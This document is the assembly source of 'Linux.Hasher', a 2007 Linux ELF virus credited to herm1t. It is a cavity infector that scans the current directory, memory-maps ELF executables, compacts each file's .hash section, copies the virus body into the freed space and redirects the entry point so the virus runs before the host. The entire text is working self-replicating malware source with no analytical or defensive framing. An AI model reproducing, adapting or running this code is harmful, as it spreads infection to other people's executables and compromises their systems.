Linux.Hasher.c
herm1t
; Linux.Hasher (x) 2007, herm1t <herm1t@vx.netlux.org> ; Features: ; - cavity infector, shrink .hash section, file size will not be increased ; - no delta, address of the virus saved in the body upon infection %macro movb 2 %if %2 == 0 xor %1, %1 %else push byte %2 pop %1 %endif %endmacro BITS 32 CPU 486 global _start _start: push strict dword fake_host pusha enter 268,0 ; sizeof(dirent) push '.' mov ebx, esp movb eax, 5 movb ecx, 0 int 0x80 or eax, eax js .vr xchg eax, ebx .rd: mov ecx, esp movb eax, 89 int 0x80 dec eax jz infect .vc: movb eax, 6 int 0x80 .vr: leave popa ret infect: pusha mov al, 5 lea ebx, [esp + 32 + 10] ; d_name movb ecx, 2 int 0x80 or eax, eax js .ir push eax xchg eax, ebx movb eax, 19 mov edx, ecx sub ecx, ecx int 0x80 push eax xchg eax, edx pusha mov ecx, edx mov edi, ebx mov al, 192 xor ebx, ebx movb edx, 3 movb esi, 1 xor ebp, ebp int 0x80 mov [esp + 28], eax bswap eax inc ax ; > 0xffff0000 popa jz .ic xchg eax, esi mov eax, dword [esi] ; ? 0x464c457f xor eax, dword [esi + 16] ; ? 0x00030002 add eax, 0xb9b0ba83 jnz .iu cmp al, [esi + 15] jne .iu inc byte [esi + 15] xor ebx, ebx ; hash xor edx, edx ; dynsym mov edi, [esi + 32] ; e_shoff add edi, esi movzx ecx, word [esi + 48] ; e_shnum .hl: cmp dword [edi + 4], 5 ; sh_type == SHT_HASH jne .h1 mov ebx, edi .h1: cmp dword [edi + 4], 11 ; sh_type == SHT_DYNSYM jne .h2 mov edx, edi .h2: add edi, 40 loop .hl mov eax, ebx and eax, edx jnz .fh .iu: movb eax, 91 mov ebx, esi pop ecx ; length int 0x80 .ic: movb eax, 6 pop ebx ; handle int 0x80 .ir: popa jmp _start.rd .fh: mov edi, [ebx + 16] ; hash.sh_offset add edi, esi mov ecx, [edi + 0] ; nbuckets mov ebp, [edi + 4] ; nchains sub ecx, (_size + 3) / 4 js .iu ; ebx - hash shdr ; ecx - new nbuckets ; edx - dynsym shdr ; edi - hash ptr ; ebp - nchains ; clean hash pusha mov ecx, [ebx + 20] ; s_hash.sh_size xor eax, eax rep stosb popa push ebx mov ebx, [edx + 24] ; dynsym.sh_link lea ebx, [ebx * 4 + ebx] lea ebx, [ebx * 8] ; * sizeof(Elf32_Shdr) mov eax, [esi + 32] ; e_shoff add eax, esi ; SHT lea ebx, [eax + ebx] ; dynstr (shdr) mov ebx, [ebx + 16] ; dynstr.sh_offset add ebx, esi push ebx ; + dynstr mov edx, [edx + 16] ; dynsym.sh_offset add edx, esi push edx ; + dynsym push ebp ; + nchains push ecx ; + new nbuckets push edi ; + hash call build_hash pop ebx ; copy virus body mov edx, [edi + 0] ; nbuckets add edx, [edi + 4] ; nchains inc edx ; + 2 inc edx shl edx, 2 ; * 4 ; edx - virus offset within .hash pusha add edi, edx mov ecx, _size mov esi, strict dword _start _self equ $-_start-4 rep movsb popa mov eax, [esi + 24] ; e_entry mov [edi + edx + 1], eax ; save old entry mov eax, [ebx + 12] ; sh_addr add eax, edx mov [edi + edx + _self], eax mov [esi + 24], eax ; e_entry jmp .iu elf_hash: pusha cld xor eax, eax xor edx, edx ; edx - h mov esi, [esp + 36] ; name .next: lodsb or eax, eax jz .done shl edx, 4 add edx, eax mov ebx, edx and ebx, 0xf0000000 jz .skip mov ecx, ebx shr ecx, 24 xor edx, ecx .skip: not ebx and edx, ebx jmp .next .done: mov [esp + 28], edx popa retn 4 build_hash: pusha cld mov edi, [esp + 36] ; hash mov eax, [esp + 40] ; nbuckets stosd xchg eax, ecx mov eax, [esp + 44] ; nchains stosd xchg eax, ebp lea esi, [edi + ecx * 4] ; chains xor ebx, ebx inc ebx ; ebx - i ; ecx - nbuckets ; esi - chains ; edi - buckets ; ebp - nchains .for: mov eax, [esp + 48] ; sym mov edx, ebx shl edx, 4 ; edx = i * sizeof(Elf32_Sym) mov eax, [eax + edx] ; sym[i].st_name add eax, [esp + 52] ; str push eax call elf_hash ; eax - h xor edx, edx div ecx ; edx = elf_hash(str + sym[i].st_name) % nbuckets; mov eax, [edi + edx * 4] or eax, eax jnz .else mov [edi + edx * 4], ebx jmp .endif .else: mov edx, [edi + edx * 4] .while: mov eax, [esi + edx * 4] or eax, eax jz .end_while mov edx, [esi + edx * 4] jmp .while .end_while: mov [esi + edx * 4], ebx .endif: inc ebx cmp ebx, ebp jb .for popa retn 20 _size equ $-_start fake_host: mov eax,1 int 0x80